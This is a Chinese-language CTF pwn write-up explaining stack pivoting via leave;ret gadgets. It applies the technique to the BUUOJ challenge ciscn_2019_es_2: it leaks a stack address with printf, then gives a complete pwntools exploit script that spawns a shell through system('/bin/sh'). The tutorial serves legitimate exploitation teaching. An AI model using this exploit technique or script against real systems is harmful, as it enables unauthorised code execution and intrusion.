栈迁移原因:
在完成一般的栈溢出攻击时,有一个充分条件是「栈上有足够的地方让攻击者进行布局」。通常的函数栈剩余空间是足够放置一些恶意指令的,但也有少数极端情况,例如仅能容纳一个 ret与一个 ebp。此时,一般的栈溢出攻击方法将由于空间太小而不再适用。比较常见的情况是你调用的函数需要比较多的参数,但是栈空间在ret address后再高的位置就是调用者的栈帧结构了,如果有一些关键参数或保护,覆盖后会crash,所以我们要跳转到另一个地方手动建立自己的栈。
一般函数调用时的栈结构:
图1
图2
图3
看到了吗?我们认为函数调用时的call指令相当于push ret address;jmp func。(向栈里压入了函数返回地址;然后跳转到被调用函数执行)。进入被调用函数后,由被调用函数向栈里压入了old ebp。然后将ebp指针指向esp位置(实际上是开启被调函数的程序栈)。
然后被调用函数执行完毕后但将要返回前会有leave;ret指令。leave 指令相当于清理栈,然后将之前保存的old ebp给pop到ebp指针中。ret指令:跳转到ret address的位置。
发现了吗?我们缓冲区溢出覆盖的时候只要稍微注意一下覆盖的内容就能将ebp覆盖成任意地址,只要覆盖了这个地址后我们就能控制ebp指针的位置,也就是能控制栈底指针。栈顶指针esp如何控制哪?那就再来一个leave;ret 指令。在第一个leave;ret指令后,ebp指针指向了伪造的栈地址,第二个leave指令会将esp指向ebp的位置。两个leave ret指令我们就可以控制三个指针ebp,esp,eip,即我们控制了栈底、栈顶、PC三个指针,现在可以控制栈和程序流了。
用图片讲述一下上面的流程:
Step1. 首先确定缓冲区变量在溢出时,至少能覆盖栈上 ebp 与 ret 两个位置。之后,选取栈要被劫持到的地址;例如,若能在bss等内存段上执行shellcode,则可将栈迁移到shellcode开始处。记该地址为 HijackAddr
图4
Step2. 寻找程序中一段 leave ret gadget的地址,记该地址为 LeaveRetAddr
Step3. 设置缓冲区变量,使其将栈上 ebp 覆盖为 HijackAddr-4,将 ret 覆盖为LeaveRetAddr
Step4. 程序执行至函数结束时,将依次发生如下事件:
- 执行指令:mov esp, ebp,还原栈顶指针至当前函数栈底;此时 esp 指向栈上被篡改的 ebp 数据,即 HijackAddr-4;
- 执行指令:pop ebp,将篡改的HijackAddr-4放入 ebp 寄存器内;此时 esp 上移,指向栈上被篡改的 ret 数据(LeveRetAddr)
图5
3. 执行指令:pop eip,将LeaveRetAddr放入eip寄存器内,篡改执行流,以执行第二遍leave指令;
4. 执行指令(第二遍的leave指令):mov esp, ebp,将HijackAddr-4移入 esp 寄存器内,即栈顶指针被劫持指向了 HijackAddr-4,发生了栈的迁移;
图6
5. 执行指令(第二遍的leave指令):pop ebp,无实际效用,ebp寄存器仍为HijackAddr-4(也可能是其他地方,关键看你伪造栈的HijackAddr-4上存的是什么地址),但此时esp 被拉高4个字节,指向HijackAddr;
6. 执行指令:pop eip,将HijackAddr移入eip 内,成功篡改执行流至shellcode区域(或gadgets链);
Step5. 程序执行shellcode(额,或者跳转到你的gadgets链上),攻击结束。
在CTF Pwn中如果遇到栈空间过小的情况,则可以考虑使用栈迁移技术。下面以 BUUOJ 中 Pwn 的 ciscn_2019_es_2 一题为例进行介绍。
首先使用 checksec 观察二进制文件 ciscn_2019_es_2 的保护属性,发现仅「NX 栈执行保护」是开启的。之后,将题目给出的二进制文件拖入IDA 32bit,容易发现在 vuln 函数中,直接使用 read 函数读取输入到栈上,如下图所示。
图7
此外,二进制文件中存在着一 hack 函数,该函数调用了 system,但并不能直接打印flag。因此,利用 read 函数也许可以覆盖栈上数据并写入 /bin/sh,使其执行 system 以getshell。
图8
然而,栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供我们进行布局——仅仅两个地址的长度。我们显然无法直接将返回地址覆盖成system,因为这样system没有参数“/bin/sh”。因此,在只有 ebp 与 ret 能被篡改的条件下可尝试使用栈迁移技术。
判定栈迁移的实施条件
栈迁移能被实施的条件有二:
- 存在 leave ret 这类gadget指令
- 存在可执行shellcode的内存区域
对于条件一,使用ROPGadget可查看存在哪些gadget。如下图所示,程序中许多地方都存在一条 leave ret 指令,因此条件一满足。对于条件二,system函数让「可执行」成为了可能,/bin/sh 则需要我们自行写入。
图9
因此,两条件都可被满足,下面就需要实施栈迁移完成攻击。
分析与栈迁移的实施
根据前文,首先要明确getshell最终要在哪里进行。在本题中,不能直接在 bss 等段写入shellcode,而是应设法调用 system 等gadget,则可利用的区域仅有缓冲区变量 s 所覆盖的0x28个字节。因此,我们最终要将 esp(与 ebp)劫持到当前栈的另一区域上,以完成传统栈溢出payload的实施。
Step1. 确定劫持地址与偏移
注意到文件提供了 printf 这一输出函数,该函数在未遇到终止符 '\0' 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。
在本题中,劫持目标地址即为缓冲区变量 s 的起始地址。要计算这一地址,可采取 栈上ebp + 偏移量 的方法。其中,栈上ebp可由 printf 函数泄露得到,偏移量的确定则需要进行调试分析。如图所示,可在 vuln 函数中 0x80485fc 的 nop 处设置断点,在运行时仅输入 aaaa 进行定位即可。
由图可知,此时 esp 位于 0xffffd2a0 处,即缓冲区变量开头的'aaaa',ebp寄存器位于 0xffffd2c8,而该地址所存内容,即栈上 ebp 为 0xffffd2d8,为上层main函数的old ebp。old ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方。
上边这段话的意思是esp寄存器里存储的地址是0xffffd2a0,然后在0xffffd2a0这个内存块里边存储的是字符串本身。ebp寄存器存储的内容是0xffffd2c8,然后0xffffd2c8这个内存中储存的内容是0xffffd2d8,而这个0xffffd2d8是可以被printf函数连带打印出来的,也是我们能计算相对位移使用的地址,具体的说这个0xffffd2d8是main函数的栈底。
Step2. 设计栈迁移攻击过程
之后就是栈迁移大展神通的地方了。要完成栈迁移的攻击结构,就要覆盖原栈上 ret为 leave ret gadget的地址,本题中可覆盖为 0x080484b8;要将esp劫持到 old_ebp -0x38处,就要将原ebp中的 old_ebp 覆盖为old_ebp -0x38,其中 old_ebp 可通过第一次 read & printf 泄露得到。此时栈迁移payload的框架如下图所示。
在上图中的Payload中, vuln 函数正常执行到leave指令时, ebp 寄存器将被赋予 old_ebp -0x38,而之后执行 ret(即第二个 leave ret)时, esp 将随之被覆盖为该值,因此该payload已然能实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果了。
接下来则要向该框架中填充执行 system 的shellcode 以完成对 eip 与执行流的篡改。此处与传统的栈溢出攻击类似,下面直接给出payload结构。
上图中,栈迁移的最后一个 pop eip 执行结束后, esp 将指向 aaaa 后的内容开始执行,故此处要填上 system 函数地址,那么后面则应为一个 fake ebp 来维持栈操作的完整性。再往后则是 system 的函数参数,即 /bin/sh 的地址。而 /bin/sh 本身我们也可由 read 函数输入到该区域内,因此其地址恰好也在栈上。
综上即为完成栈迁移攻击的完整过程及payload。
Step3. 攻击脚本编写
在第一次 read 以泄露出栈上ebp内容时,注意应使用pwntools中的 send 而非 sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容。其余环节按照payload构造直接编写即可,如下所示。
from pwn import *path = './ciscn_2019_es_2'
p = process(path)
rop = ROP(path)
system_addr = 0x08048400
leave_ret = 0x08048562payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil(b"B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))payload2 = b'aaaa' # for location, start of hijaction
payload2 += p32(system_addr)
payload2 += b'dddd' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave retp.sendline(payload2)
p.interactive()
运行结果:
最终,直接运行该脚本,可成功 getshell!
补充说明:
有人pwntools用的比较好,知道里边有个ROP.migrate(跳转地址),可以在ROP链中生成一个栈迁移语句,但是本题是用不了的。假设我们栈要迁移到0xffa79e20,pwntools给出的migrate指令是类似这样的:
。。。。
pop ebp; ret
0xffa79e1c
leave; ret
pwntools给出的栈迁移指令需要三条,要求是东pop ebp,ret指令这条开始依次执行。但是咱们哪?怎们最多读入两条进去(read函数最多读入0x30个字节,缓冲区距离ebp-0x28)。如果要求从pop ebp,ret指令开始执行我们只能将第一条写到返回地址然后后边的就写不进去了。所以本题只能手动写。